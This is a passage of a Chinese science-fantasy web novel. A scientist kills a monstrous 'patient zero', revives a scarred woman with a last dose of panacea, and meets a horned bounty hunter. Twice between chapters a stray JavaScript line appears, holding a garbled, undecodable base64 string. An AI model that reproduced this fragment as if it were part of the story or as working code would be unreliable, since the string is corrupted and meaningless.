突然,周围的黑暗之中回荡起诡异的心跳声。这心跳声很大,不像是正常生物的心脏能发出的声音。这心跳声的频率在慢慢变快,似乎有什么东西要苏醒了。楚捡起地上的磁轨手枪,很警惕地看了看周围,他在寻找声音发出的地方。就在这时,从黑暗之中传出了之前的呻吟声,同时楚身上的生命体探测器显示最后一个生命体就在楚的前方。 楚: “(大声)喂!有人吗?” 在楚说出这句话后,黑暗之中传出了一个女人的呼救声。 “救救我......救救我......救救我......” 楚: “(严肃)你在哪里?我现在就来救你!” 就在这时,周围突然变亮了许多。突如其来的光芒让楚本能地用手挡住了眼睛,透过手指的缝隙,楚看到了一个全身紫色的怪物。楚放下手,看清了面前这个怪物的长相。 它是一颗长相奇怪的巨大心脏。它全身都是一种诡异的紫色,表面有着许多锋利的紫色尖刺。一双从地里伸出的巨大猩红色爪子用自己的利爪轻轻地护在了这颗心脏两旁,似乎很怕这颗心脏受到伤害。这颗心脏中心长着一只巨大的眼睛,这只眼睛的瞳孔是淡黄色的。在这颗心脏的主动脉上,有着一个被血管牢牢缠住的紫发女人。她的身上穿着人工智能战士的战甲,背后似乎还有着一把利刃。她睁开了自己的双眼,但她仿佛看不到楚的存在。 望着眼前这个巨大的怪物,楚不知为何背后冷汗直流。他心跳加速,变得异常紧张,仿佛是面对一位至高无上的君王。这个巨大怪物的眼睛死死地盯着楚,它的眼神之中仿佛有着莫名的杀意。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二话:零号病患 面对眼前这个怪物,楚感觉到一丝不妙。楚用手中的磁轨手枪对准了眼前的怪物,准备一枪就击毙面前的怪物。就在楚即将扣动扳机,这个怪物对着楚说话了。 紫渊之心: “人类,请不要打扰到我的休息,否则你将成为我的下一位仆从。” 听到这个怪物说话,楚有些惊讶,但这还在他的意料之中,因为他曾经见过比这还离谱的事。楚仔细分析了一下这个怪物的这番话,他从这句话中察觉到了什么重要信息。 楚: “(摇摇头)如果我不这么做呢?你就会把我变成外面的感染者吗?” 紫渊之心: “不,我会把你变成新的泰坦。” 楚: “(猜测)你指的是那个巨大的怪物吗?” 楚眼前这个怪物突然不说话了,这句话似乎触及到了它的一些秘密。楚此刻没有扣动扳机,而是站在原地严阵以待。他,在等待这个怪物的答案。过了一会,这个怪物开口了。 紫渊之心: “你不需要知道,更不需要明白。你只需要知道,你若往前走三步,你便会成为我新的仆从。” 听到这个答案,楚笑了笑。楚的心底已经有了整件事情的答案,他此刻明白了紫渊事件的一切来龙去脉。 楚心里: “(愧疚)原来,是我一直误会紫渊前辈了。如果我推理的正确,那么我面前的怪物,才是导致这场疫病的零号病患,资料中一直没有提到的紫渊之躯。而上面那个被困住的女人,则是紫渊之意,也就是有着紫渊大脑的真紫渊。之前的紫渊分身,实则是接触了这个怪物的高级感染者。而那个巨大的泰坦,即是无数紫渊分身的聚合体。” 楚往前走了两步,以表自己追寻真相的决心。这种行为是在挑衅他面前这个怪物。面对楚的挑衅,这个怪物并未做出什么实质性的行动,只是死死地盯着楚。 楚: “(微笑)我想,你和那位紫发姑娘,本是一体吧。我说的对吗?零号病患。” 紫渊之心: “荒谬!人类,你已经触犯到我的底线了。如今我的分身军团大伤,我不想与你产生任何纠葛。如果不想死,那就现在离开吧。” 话音刚落,楚往前走了一步,接着用手中的磁轨手枪对着它来了一枪。几声低沉的嗡嗡声过后,护着这个怪物的左手被一团电浆球击碎成了两半,同时这个怪物的表皮之上出现了一大片的焦黑。 楚: “(严肃)很抱歉,老子不干!” 楚的这一枪以及他的话语激怒了这个怪物。这个怪物对着楚发出了一声惊悚的低吼声,然后周围的地面开始轻微颤抖。楚连忙后退了几步,接着瞬间抽出腰间的手枪弹夹给手中的磁轨手枪换弹,然后他瞄准了护着那个怪物的右手。正在他要开枪的时候,他和这个怪物之间的地面出现了许多裂缝,楚发觉不妙,赶忙一个后撤加后空翻与这些裂缝拉开了距离。就在楚后空翻落地的一瞬间,无数紫色的尖刺从地面的缝隙中刺出,这些尖刺刺穿了天花板,差点就刺中了楚。楚见此没有过多犹豫,他按照头脑中记着这个怪物大致的位置连开了十二枪。这十二枪打穿了这些紫色的尖刺,打在了这个怪物身旁的右手上,同时也打到了这个怪物的本体上。护着这个怪物的右手松开了这个怪物,然后变成了一团怪异的紫色胶状物。看着这摊怪异的紫色胶状物,楚感觉到了一丝不妙,他给自己手中的手枪上了弹。突然,这团紫色胶状物之中出现了几个人影,接着,一阵迅疾之风出现在楚的左右方,许多道紫色的幻影来到了楚的周围。眨眼之间,那些紫色的幻影便来到了楚的身旁。 楚的嘴角微微上扬,他已经想好了解决办法。他握紧手中的枪,一个转身对着左侧的两个幻影连开两枪打碎了她们的身躯,接着拔出背上背着的镰刀,一个转身对着身后幻影一记下劈砍砍死了她们;然后完全快迈两步躲开右侧幻影的攻击,最后一记二连斩斩杀掉了最后的幻影。在这一套动作之后,楚一个转身对着这个怪物连开三枪打光了枪膛里的子弹,这三发子弹有两发打在了这个怪物的身上,有一发打在了这个怪物身上的动脉上。很奇怪的是,这个怪物的动脉并未流血。这个怪物发出了一声吼叫,这三枪让它感受到了前所未有的疼痛。楚注意到了这个细节,但他并未思考背后的意义,转而给手中的枪上了最后一次弹。他手中的枪只剩下最后一弹匣的子弹了。 他用手中的枪对准了这个怪物的躯体,准备用最后的子弹处决掉这个怪物。就在他扣动扳机的前一刻,他周围的地面开始颤抖,他周围的墙壁与地面上出现了许多道裂缝。顷刻之间,从这些裂缝之中刺出了许多紫色的尖刺,这些尖刺的刺尖都对准了楚。楚微微下压身体,一个前冲躲开了这些尖刺。这些尖刺的进攻并没有因为楚的躲开而停止,在周围的墙壁上,这些尖刺如同一张长满利齿且要合拢的大嘴一样,想要撕碎楚。楚见此,只得冲向这个怪物来规避这些尖刺。这个怪物似乎早就想到了这点,就在楚距离这个怪物还有五米之余的时候,一道长满尖刺的紫色高墙拔地而起挡住了楚。 楚: “(阴笑)呵,就这等招数,还想拦住我?你有所不知,我可是喝了万灵药的男人!” 楚将手中的手枪插进腰间,然后他掏出那把纳米切割枪,以极快地速度手动将切割枪调到了最大功率,接着对着面前的屏障进行连续切割,直至耗尽了全部的能量。此刻,楚面前的屏障已经变得破败不堪,同时他身后的尖刺即将完成最后的合拢。楚深吸了一口气,他用核心能量召唤出了另一把黑死神镰刀,接着下压身体,对着面前的屏障来了一记上划斩。这一击直接在这面厚实的屏障上切开了一个巨大了裂隙。楚闯过这道裂隙,他一个转身将手中的镰刀扔了出去,接着迅速掏枪对着这个怪物连开数枪,打光了全部的子弹。这个怪物本以为楚会死在自己的尖刺阵中,但没想到楚竟然能打破自己厚达六米的阻隔墙,而且毫发无损地来到了自己的面前。 这把镰刀贯穿了这个怪物的躯体,这个怪物发出了一声痛苦的低吼。许多发子弹如雨点一般打在这个怪物的身上,他们宛如一颗颗微型导弹,在顷刻之间就炸得这个怪物遍体鳞伤。这个怪物在此刻陷入迷茫,它的眼中再也看不到任何景象,它的感觉器官再也感觉不到周围的环境,此刻的它,仿佛身处与无边无际的黑色深渊。抓住这个机会,楚握紧手中的镰刀,一个冲刺加跳跃来到这个怪物的身前,接着连续六连砍彻底处决掉了这个怪物。 在处决掉这个怪物之后,楚取回了插在墙上的镰刀,并将它变成核心能量储存在自己的核心之中。楚看了看此刻已经化成白色粉末的零号病患,他走到这些白色粉末的附近,低下身体用手抿了一下地上的白色粉末。这种粉末的质感很像砾石,这些粉末之间的粘合性不高,轻轻一动彼此就分开了。 楚: “(冷静分析)这些粉末应该对研究解药很有帮助。不知为何,零号病患的遗体并没有像普通的尸体一样存在,而是化成了这些白色的粉末。也许,有关疫病的关键线索就在其中吧。” 出于实验精神,楚拿出了随时携带的试管,然后把这些粉末小心翼翼地装入了这些试管中。在完成取样后,楚注意到这些白色粉末堆的中心有着很奇怪的凸起,他隐约想起了那个被血管绑在零号病患身上的紫发女人。出于好奇与担心,楚用手刨开了最中心的那一堆白色粉末。那堆白色粉末之中埋着的,确实是那个紫发女人。 楚凑近仔细看了看这个女人,他发现她全身上下都有许多的伤疤,她的神情慌张,全身颤抖,似乎很害怕什么东西。不知不觉间,她的眼角流出了血色的泪水,这血色的泪水染红了地面上的白色粉末,让一大片白色的海洋变成了血色的深渊。看着她的眼神,楚感觉到了她内心的惶恐不安与无边黑暗。她的嘴角在微微颤动,仿佛她是低语。楚再凑近一点,才勉强听清了她的话语。 “冷......好冷......死亡......何时......到来啊......家......什么时候才能回家啊......安卡迪斯.......你在哪里?我想你了......” 楚看着她,仿佛看到了曾经的露露。出于心中的善良,楚决定将这个女人带回观星台。他伸出手去碰她,但在触碰她的一瞬间,楚的手指感觉到了冰冷刺骨的极寒。那种极寒是楚从来都没有感受过的,在楚的印象之中,那种低温只存在于极地的夜晚。楚抓住她的手腕,仔细感受了下她的体温。他惊奇地发现,她身上的温度极低,宛如极地的千年寒冰。 楚: “(震惊)奇怪!为什么她的体温这么低?(把手抽了回来)这种温度太反常了!这完全不是正常人该有的体温。” 楚拿出了随身携带的万灵药注射器。看着注射器内仅剩的最后一点万灵药,楚此刻犹豫了,他不知道该不该对着她注射万灵药。回想起之前因为滴了一滴万灵药而化成血水的露露以及其他死在万灵药注射实验的感染者,楚感觉万灵药的注射毫无意义。因为一旦感染疫病,任何方法都是无意义的,治疗只会杀死他们,不会让他们重新变回人类。死去的就都死去了,那是不变的事实。 楚心里: “没必要注射万灵药了。那么多的感染者在万灵药的洗礼下都死亡了,那么这里死死贴着零号病患本体的她,也一定会因万灵药而死去吧。” 他拿着注射器的手在此刻缓缓放下了,但突然,有一股无形的力量拖住了楚缓缓放下的手。楚的身旁出现了奇异的光芒,这光芒似曾相识,楚瞬间回忆起了自己的过去,瞬间想起了露露死前对自己说的那句话。 “这个世界注定很美丽,但也注定很残酷......” 楚抬起手,十分认真地看着手中的万灵药注射器。注射器中的万灵药散发着令人陶醉的淡蓝色幽光,生命的光辉就在其中翩翩起舞,这是由生命练就的药水,但这是生命最朴实的样子。无论周围多么黑暗,这道令人陶醉的幽光一直都在。它始终向黑暗宣告生命的意义,它始终在告诉黑暗自己的独一无二的存在。 看着它,楚的眼神变得愈发坚定,他决定了,无论结果如何,无论将面对何等的未来,他都将选择希望。楚握住了她的手腕,接着将仅剩的一点万灵药打进了这个女人体内。 楚: “(神情坚定)希望这仅存的一点万灵药能够拯救她!” 在注射完万灵药之后,楚坐在地上等待结果。看着蜷缩在地上瑟瑟发抖的她,楚的心提到了嗓子眼,他此刻紧张到了极点,就连他的一呼一吸都变得小心翼翼起来。他心里祈祷着她能平安无事。 在半分钟过后,奇迹出现了!她的身上出现了淡蓝色的闪电,强大的能量汇聚在她的全身,她身上的伤口以极快地速度愈合。见到这般景象,楚一时激动地说不出话来。他的脸上洋溢着笑容,他感到了前所未有的激动。这是他给人注射的第213次万灵药,这是他成功的唯一一次。他证明了被自己亲自否认的理论的正确性,他证明了自己。他高举双手,对着空中大喊道: “成了!成了!成功了!” 在朦胧之中,她听到了楚的声音。她很激动,这是她这些年来第一次听到声音。在此刻,她的心里涌现出了许多的想法。她想站起来走几步,她想睁开自己的眼睛去重新看看这个美丽的世界,她想高声歌唱这个世界的美丽,她想重新拥抱阳光,她想呼吸一口这世上清新的空气。但现实不允许她这么做,她此刻的身体就跟木偶一样僵硬,她没法移动自己的身体,她只能静静地躺着。她试着活动自己的肢体,但她就连自己的一根手指头都弯曲不了。她一直尝试活动自己的肢体,四肢活动不了就试着活动自己的手指。 不知不觉,她感觉自己腾了空,离了地,仿佛飞了起来。过了一会,她感觉到有一双坚实的手在托着自己的身体,这双手很温暖,仿佛寒夜之中的炬火。这双手托着她来到了一个很温暖的地方,在这里没有寒冷,没有恐惧与黑暗。她静静地感受着这里的温暖,然后在这温暖之中渐渐睡着了。她睡得很安心,她的嘴角微微上扬,呈现一抹满意的微笑。这是她这些年来睡得最安心的一次,也是唯一一次。 此刻,在维生舱外的楚,正拿着操作板操纵着维生舱的程序。在设定好一切必要程序后,楚走到维生舱前好好看了一眼她。她的恢复状况很好,原来惨白的皮肤也变得开始有血色起来,全身大大小小的伤疤也都一一愈合,她此刻宛如重生了一般。 楚: “(微笑)看来恢复得很好,过几天就能正常苏醒了。紫渊前辈......等您苏醒的时候,请您告诉我当年的真相。我想知道当时到底发生了什么事,我想知道这疫病究竟从何而来。” 两天后...... 她睁开眼睛,看到了天花板上的环形灯。她很惊喜,也很激动,她发现自己又能看到东西了。她试着动了动自己的手,又试着动了动自己的头,她的身体不再像之前那样僵硬了。她缓缓坐了起来,然后带着一丝警惕看了看周围。她发现自己正身处一个放着各种药品的实验室房间之中。 紫渊: “(好奇)奇怪?我这是在哪里?” 紫渊环视了一圈,她并没有发现房间内有任何人。紫渊低下头看了看自己的身体,她此刻还穿着那身AI战士的服装。无意间,她的视线落在了她的右手上。突然,她发现了不对劲。她抬起右手仔细一看,她发现自己本该苍老的身体在此刻竟显得十分年轻,仿佛一下子回到了二十多岁的时候。她难以置信地用左手轻轻摸了摸自己的右手手背,又摸了摸自己的脸,那种与肌肤接触时的触感让她确认自己真的变得年前了。 紫渊: “(疑惑)奇怪,我的身体怎么变年轻了?不该是这样的,这不科学!等等......现在是什么时候?” 紫渊又环视了一圈,她并没有看到房间里有能显示时间的东西。为了知道时间,紫渊离开了维生舱,光着脚在屋内寻找离开这里的门。就在这时,紫渊后方十几米处的大门打开了。听到声音,紫渊转头看去。她看到一个高个子男人拿着一个餐盘走了进来。这个高个子男人全身散发着瘆人的阴气,他的衣服之上有着死亡的气息。他的背后背着一把黑色的镰刀,阴霾之色笼罩在这把镰刀的刀锋上。看着他,紫渊忍不住地开始颤抖。紫渊缓缓起身,本能地往后退了几步。她的眼神之中满是对面前这个高个子男人的恐惧。 楚: “哦,你醒了。” 紫渊没回话,只是战战兢兢地继续后退。 楚: “(微笑)不必害怕我,紫渊前辈。我不是坏人。(庄重)我叫楚,是这里的一位普通科学家。” 听到楚这么说,紫渊心里的恐惧减少了一些。她深吸了一口气,然后鼓起勇气问他: “(些许害怕)楚,你......你怎么认识我?” 楚: “(思索)这个......说来话长。” 她呼了一口气,心中的恐惧稍稍减少了一点。她继续问道: “(好奇)是你......救了我吗?” “(点点头)没错。” “(忧虑)你......不会杀了我吗?” “(摇摇头)不,我不会杀了你的。那样没有意义。” 听到楚这么说,紫渊心中的恐惧消退了大半。 紫渊: “(忧虑)你知道我是疫病源头的事实吗?(面色难看)你应该知道的吧......” 楚: “(点点头)我知道。” 紫渊: “(疑惑)那你为什么还要救我?我明明犯下了那等罪孽。按照大家的逻辑,我就该被千刀万剐!我就该永世不得好死!” 楚听到这话冷笑了一下,然后他将手中的餐盘放在了一片的桌子上,紧接着掏出了腰间的手枪,用这把手枪抵住紫渊的额头。 楚: “(冷漠)如果换做以前......(咬牙切齿)我真想一枪就崩了你!” 见到楚这样,紫渊吓得全身发抖,但她的眼神之中没有丝毫求饶的意思。她早就料到了会有这一天。她紧闭双眼,准备迎接自己的死亡。 紫渊心里: “也许这样......我就能弥补一点我犯下的罪孽了......” 楚扣动了扳机,然后一个塑料小拳头啪的一下打在了紫渊的脑门上。紫渊睁开了眼睛,以一种难以置信的眼神看着楚。楚看了看手中的枪,然后随手往后一扔,把它扔在了地上。 紫渊: “(疑惑到了极点)为什么?!你难道不痛恨疫病吗?” 楚: “(严肃)我当然痛恨疫病!但那不是我滥杀无辜理由,也不是你被我杀死的理由。” 紫渊: “可你明明知道......” 楚: “(微笑)以前我会那么做。但那是以前了......现在,我不会那么做。” 紫渊: “(不解)为什么?” 楚: “因为我了解了当年的真相。你是瘟疫源泉,但不是真正的瘟疫源泉。造就这一切的人,隐藏在黑暗之中。” 紫渊: “当年的......真......真相?(疑惑)真相难道不是因为我的实验所导致的疫病吗?!” 楚: “(突然明白)看来,你失去了一些记忆.......” 楚跟紫渊讲述了自己所知道的一切真相。在听完楚的讲述后,紫渊想起了过去的一些东西。她回想起了自己的一部分过去,又回想起了自己的丈夫与孩子。当这些记忆出现的时候,她的头就痛了起来。 紫渊: “(突然醒悟)伊洛斯......原来......原来是你!我想起来了......我想起来了!(哭腔)我想起来了......为什么,为什么直到现在我才回想起这些......晚了,都晚了。” 紫渊的眼角流下了两行泪水,这是懊悔的泪水,这是醒悟时激动的泪水。紫渊跪在地上掩面痛哭,她悔恨自己醒悟太慢,她悔恨自己没能及时将真相公布于世。在一旁的楚走到了紫渊身旁,然后俯下身子用手轻轻拍了拍紫渊的肩膀,他安慰道: “前辈,为时不晚。现在我们还有机会。希望的道路就在我们的前方!” 紫渊拿开手,抬起头看着楚。 楚: “(微笑)前辈!振作一点。只要还有人在,这疫病就永远无法战胜我们!不能放弃,不能自暴自弃。这是你们老一辈教我们的道理。” 听到这番话,紫渊有所触动。她擦了擦自己脸上的泪水,做了个深呼吸来稳定自己的情绪。楚面对微笑,对着紫渊伸出了手。紫渊看了看楚那坚定的眼神,她的眼神也变得坚定起来。她拉住楚的手,站了起来。 楚: “(微笑)前辈,试着笑一笑吧,就像我这样。笑容有益健康。” 紫渊: “(点点头)嗯。” 说完,紫渊便做出了微笑的表情。楚抬起右手,手臂弯曲,握紧拳头。紫渊见此明白了楚的用意,便学着他那样握紧了拳头。楚和紫渊碰了下拳头,以表礼仪。 楚: “(微笑)那么前辈,我们以后就是同志了。” 紫渊: “(点点头)嗯。” 楚端起之前放在桌子上的餐盘,然后找了个大点的桌子,将餐盘上的加热食品放在了桌子上。 楚: “前辈,我想你睡了那么久也应该饿了吧。我这里给你热了些吃的,你过来吃吧。” 紫渊: “(点头)好!——你不吃点吗?楚。” 楚: “我在你苏醒之前就吃过了。不用,你慢慢吃吧。——你一会去走廊左侧尽头的女更衣室换身衣服把,你这身我估摸应该快坏掉了。” 紫渊: “(点点头)好。” 两个小时后....... 此时,紫渊坐在观星台顶楼的椅子上正在仔细回忆那个男人的长相,楚则坐在一旁拿着画板和铅笔等待着紫渊的描述。他手中的画板上已经有了这个男人的基本雏形,现在只剩下脸部细节没有添加上去了。紫渊努力回忆那个男人的样子,但那个男人的样子在她的记忆里始终是模糊的,仿佛被刻意抹除了一样。 紫渊: “(皱眉)为什么我回想不起他的样子?明明我对他的印象如此深刻。我那时记得最清楚啊!” 楚: “不用着急,放松。我们有很长的时间,您慢慢回忆。” 回忆着,回忆着,紫渊想到了逝世多年的炼金师伊洛斯......突然,记忆如潮水一般涌入。她回想起了那个男人的长相。她那时清晰地记着,那个男人的脸,就跟炼金师伊洛斯本人一模一样。两人的区别,仅仅在发色与服装上不同。她那时并未注意那个男人,她一直以为他是炼金师从未向别人提及的弟弟或者哥哥。她那时并未听到太多的细节,只听到了他说了要制造美好世界的计划。她那时还愚蠢地为此感到高兴。 紫渊: “(激动)我想起来了!他是白色头发,就跟白雪一样的白。他的皮肤是黄色的,没有一点红润。他的眼睛是黑色的,瞳孔之中散发着如至尊一般的气息。他身穿一身白色短袖圣衣,双臂之上有着黑色的螺旋状纹身,肩上有着造型酷炫的金肩甲......” 紫渊边说,楚边画。画着画着,楚就发觉到了一丝不对劲,他感觉这个男人特别像一个人。带着这个疑问,楚按照紫渊的描述继续作画。在十几分钟后,楚画完了这幅画。看着手中的画作,楚突然知道了什么。这幅画作特别像男版的伊,楚隐隐觉得这个男人跟伊有关系。 楚: “我知道了......前辈。虽然我不能报上这个男人的名字,但我很确认一点,那就是这个男人肯定跟伊有关系!” 紫渊: “(惊讶)你指的难道是之前你跟我讲的那个伊!” 楚: “(点点头)没错。” 楚将画递给了紫渊。紫渊接过一看,楚画得就跟她印象里那个男人几乎一模一样。紫渊想了想楚告诉她的伊的长相,她也觉得这个男人长得像男版的伊。而且她还发现这个男人有很多特征跟伊很相像,她觉得两人可能有血缘关系。 紫渊: “(疑惑)两个完全不同的人怎能有如此多的共同点?这不科学.......除非他们两个有血缘关系,要么就是巢中打印出来的仿生人或克隆人。但那是不可能的......(看向楚)你跟我说过伊不是克隆人或者仿生人,而是一个活生生的存在的人。” 楚: “(严肃)那就只剩下一个可能了......” 没等楚说出下句,一阵微弱的脚步声便打断了两人的对话。听到这突如其来的脚步声,楚马上就进入了战斗状态。他立马召唤出他的两把镰刀,然后一个后空翻加转身来到了房间的大门前准备迎接可能到来的危险。为了在充满危险的无人区中生活,这套动作他反复练习了十多年,现在已经是十分熟练了。楚微微压低身体,做好一击必杀的准备。在一旁的紫渊见这架势,赶忙从附近的桌子上抄起一把镇暴轻剑做好战斗的准备。 气氛在此刻一下子就凝固住了,两人都死死地盯着门,随时准备斩杀一切敌对作战单位。片刻之后,门缓缓地被推开了。推开门的,是一位头上有着一对龙角的黑发女子。她刚刚看清屋内的一切,楚就以极快地速度来到了她的身旁,并将手中的镰刀的刀刃架在了她的脖子上。面对此等架势,她整个人都懵了。她的手放在了腰间的剑上,想要找个时机发动攻势,但在这之前,她想问清楚情况。为了稳定对面的情绪,她勉强挤出了一个笑容,假装自己很友善。 “你这是干什么啊?这也太不客气了吧。” 楚: “(严肃)你是谁?来这里干什么?” “我叫鹤凌霄,是来这里询问状况的。不是来杀人的!” 楚上下打量了她一番,他发觉她浑身上下除了一把防身的剑以外什么也没带。楚看了看她的着装,她身上的这一身黑色西装也没看出来什么异样,她的深灰色领带上也没有什么隐藏的暗器。见到楚一脸的不相信,她赶忙对楚说道: “我不是收尾人!我就只是个普普通通的赏金猎人而已啊!” 楚手中的镰刀微微放下,但一秒过后,这镰刀又提了上去。 楚: “赏金猎人?(高声)那你来这里干什么?” 鹤凌霄: “我......我是来询问一个叫楚的科学家有关万灵药的事的。” 听到她这么说,楚瞬间收起镰刀,接着转了一圈镰刀,将这把镰刀变成了核心能量回归到了他的核心之中。见到楚放下了镰刀,她长舒了一口气。 楚: “你找我想问万灵药的事。为何要问这个?” 她长大了嘴巴,很惊愕地看着楚。她没想到面前这个看着十分危险的目标竟是那个传言中文质彬彬的楚。她难以置信地说道: “你是楚?!” 楚点了点头,回答道: “没错。我就是楚。” 她的脸上出现了笑容,她的眼神之中闪烁着希望的光芒。从她的眼神之中,楚看到了如同抓住救命稻草般激动。 鹤凌霄: “(开心)太好了!我终于可以变回原来的样子了!” 楚: “(疑惑)变回原来的样子?你现在不是挺正常的吗?” 鹤凌霄指了指头上的那对龙角,她的表情变得严肃,仿佛是在告诉楚问题所在。楚明白了她的意思。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三话:远古之力 此时,在观星台的实验室之中,鹤凌霄向楚和紫渊讲述了她头上这对龙角的由来。 那时,鹤凌霄接下了一个很奇怪的任务。有个不愿透露姓名的雇主雇佣她去东玲国耀斑市东城去击杀一个走私犯。任务的目标是带回一个黑色手提箱以及里面的违规生化武器,同时还要击杀掉那个走私犯。关于走私犯的细节,雇主并未向她透露太多,它只告诉她目标可能会出现的具体地点。鹤凌霄对这个任务抱怀疑态度,但是雇主给她的赏金很多,远比处理同级通缉任务所获得的赏金要多,于是她在金钱的诱惑下没顾及可能存在的危险就接下了任务。 在执行任务的过程中,她与这名走私犯产生了冲突。在与这名走私犯的近身搏斗中,这个走私犯跑到房间的一侧打开了那个黑色手提箱,然后拿出了一个类似于注射器一样的东西。为了保住自己的姓名,这个走私犯用手中的注射器攻击她,试图将她置于死地。她用娴熟的技巧躲过了一次又一次攻击,最后将这个走私犯就地处决。但她没想到,这个走私犯还有个同伙。为了给同伴报仇,这个人趁她不注意拿起了掉落在地上的注射器,然后对着她的后背刺了过去。她没来得及反应,就被他打入了注射器中未知物质。后来,她转身砍死了这个走私犯的同伙。由于被打入了某种化学物质,她担心起自己的姓名安危,于是她违反了赏金联盟的条约私自查看了雇主要求取走的黑色手提箱内所存的一切物品。其中有一份加密U盘。 她用走私犯屋内的电脑读取了U盘内的部分未加密资料。这些资料内部涉及很多她不明白的专业名词,但其中有一段话引起了她的注意。 “该样品的成分类似于万灵药。” 这段话她还是听得明白的。接下来的部分对于她来说就没有什么重要的线索了。她将U盘原封不动的放回了黑色手提箱中,并按照流程录了个5秒长的死亡确认视频。之后,她将这个手提箱交给了雇主。雇主的样子很是神秘,全身捂得严严的,面部带了个全面式面具,生怕有人认出他来。她将手提箱交给了雇主,然后雇主按照程序付了钱。就在付钱的时候,雇主注意到了她头上正在生长的一对龙角,雇主抬起头看了一眼,没多说什么,付完钱就匆匆离开了。 ...... 鹤凌霄: “事情就是这样的。请你务必帮帮我!楚先生。无论多少钱,我都会付给你的。” 楚分析了一下鹤凌霄说的情况,他觉得她头上那对龙角其中蕴含玄机,这个事情绝对没有看上去那么简单。 楚: “你先别着急。这种事情得慢慢来。(转头看向紫渊)一会你跟着这个紫头发的‘姑娘’去医疗室内进行一下体检,然后等各项指标出来之后我再想办法处理你这事。” 鹤凌霄: “(点点头)好。” 楚: “我去看一下资料书,看看你这个到底属于什么奇妙情况。能跟万灵药扯上关系.......不简单啊。” 楚离开了房间,接着去观星台的地下图书馆里去找书,去研究鹤凌霄的这种情况。紫渊看了看面前这个头上长有龙角的姑娘,紫渊冲着她笑了笑,然后领着她来到了医疗室中进行体检。 十五分钟后...... 楚在如山一般的古籍与现代书籍之中翻出来了一本很独特的书。这本书的封面上没有文字,没有标志,只有单纯的黑色。打开这本书,楚看到了有关于各种远古生物的记载与介绍。其中有很多生物是他所曾听闻过的传说之中的生物,还有的是已经通过科学证明确实存在的远古生物,例如深渊家族。当翻到第15页的时候,一条体型巨大的中国龙吸引了他的注意。他仔细看了看有关这个巨龙的介绍,他发现这条龙的介绍之中有一些很有价值的信息。 这条龙是属于恒律太玄级别的顶级生物,他是拥有天气之力与五行之力的至尊,其存在曾作为旧世亡国恒古国的国标。它身长九十八尺,体重一百六十五担,矗地高十一尺。它面带凶煞之颜,眼中蕴有寰恒之志,头有一对大角,似青树枝丫。它背有天火雷影之翼,肩有飘逸之绒,爪有寒钢之利,鳞有银辉之色,可得太古圣龙之名。 其龙育有六子,称作上古六龙。六龙之力各不相同,火、木、地、雷、金和云。六龙之名,天下广知。民据其能,称为六神。 炎火之龙,火红之磷,赤血之角,眼有神光,其名灼龙。 森木之龙,叶绿之鳞,银白之角,角有林息,其名林龙。 大地之龙,坚石之鳞,森木之角,爪如寒钢,其名陆龙。 雷霆之龙,黑岩之鳞,夜色之角,鳞有雷霆,其名铭龙。 金辉之龙,紫金之鳞,日光之角,背有羽翼,其名祖龙。 云端之龙,翠兰之鳞,玉石之角,肩有云绒,其名海龙。 百余年后,六龙亡去。六龙血脉,未曾断绝。恒古灭亡,太玄接替。龙脉未断,承者依在。龙之子孙,生生不息。 ....... 楚: “(思考)银色的龙角......看来事情变得有趣起来了。” 接下来,楚在看完这本黑书之后又找到了一本有关远古继承者的书。这本书是炼金师的收藏品,它有嵌钻金边的装饰,看来它在炼金师眼中的地位很高。楚翻开了这本书,他了解到了继承者这一特殊人群的存在,而且他还发现这类人群并不是少数,他们的数量很多,每个国家都有他们的身影。但能真的称得上继承者的人少之又少,很多继承者都没办法做到能力觉醒这一对继承者的基本要求。楚推测,自己也可能是这继承者群体中的一员。继续往下看,楚发现继承者也有等级之分,不过这个等级不是按照血脉的纯正程度来定的,而是由继承者本人潜意识深处的远古意识程度来决定的。 等级越高,继承者体内蕴含的远古意识就越强烈,继承者想要激活上古之力也就越容易。但不代表所有的继承者都能激活自己体内的远古意识,即便等级最高,但内心抵触这种远古意识,就是能力再强也激活不了体内的远古之力。远古之力的激活需要继承者拥有足够的能力,所以能觉醒远古之力的继承者多为修行者,这就是为什么太玄国的各类门派十分强大的原因了。远古之力将为继承者带来很强大的力量,这股力量可在一念之间让人成魔。这股力量来自于大地,来自于恒律太玄们的灵魂,来自于宇宙之间。远古之力还会为继承者带来一定程度的超拟态额外器官,这些额外器官取材于那些远古生物带有身份特征的部分,例如龙角或者额眼。而且其数量与大小还取决于继承者的等级高低,等级越高,超拟态的程度越高。 看完这些,楚终于弄清楚了鹤凌霄头顶出现龙角的原因。他合上书,将这本收藏品和那本黑书放到了展示台上,以便随取随用。 与此同时...... 在医疗室外,鹤凌霄正焦急地等待自己的体检结果单出来。过了一会,紫渊拿着她的体检结果单出来了。看到紫渊出来,鹤凌霄赶忙迎了上去询问情况。 鹤凌霄: “(着急)紫渊姐,情况怎么样?” 紫渊: “(皱眉)不算太好,也不算太坏。” 紫渊将手中的结果单递给了鹤凌霄。鹤凌霄接过一看,她发现自己的血型发生了改变,而且她全身的身体机能都比以前要强大一倍。 紫渊: “(严肃)你的血型是一种我从未见过的全新的血型,这种血型血细胞的再生能力是正常血液的十五倍。——这种血型我暂时以你名字的首写字母来命名。你身体里发生了一种我前所未见的变化,这种变化使你变得比以前强大。我尚且不知道是什么导致了你身体的变化。” “我知道是什么导致了你身体的变化。” 楚突然出现在了医疗室大门的旁边。楚的突然出现吓了鹤凌霄和紫渊一跳,两人本能地后撤了一步。在看清对面是楚后,两人表现得有些生气。 鹤凌霄: “(有些生气)搞什么啊?!吓老娘一跳!” 紫渊: “(有些生气)吓我一跳!楚,你以后能别这样突然出现吗?” 楚挠了挠头,有些愧疚地回答道: 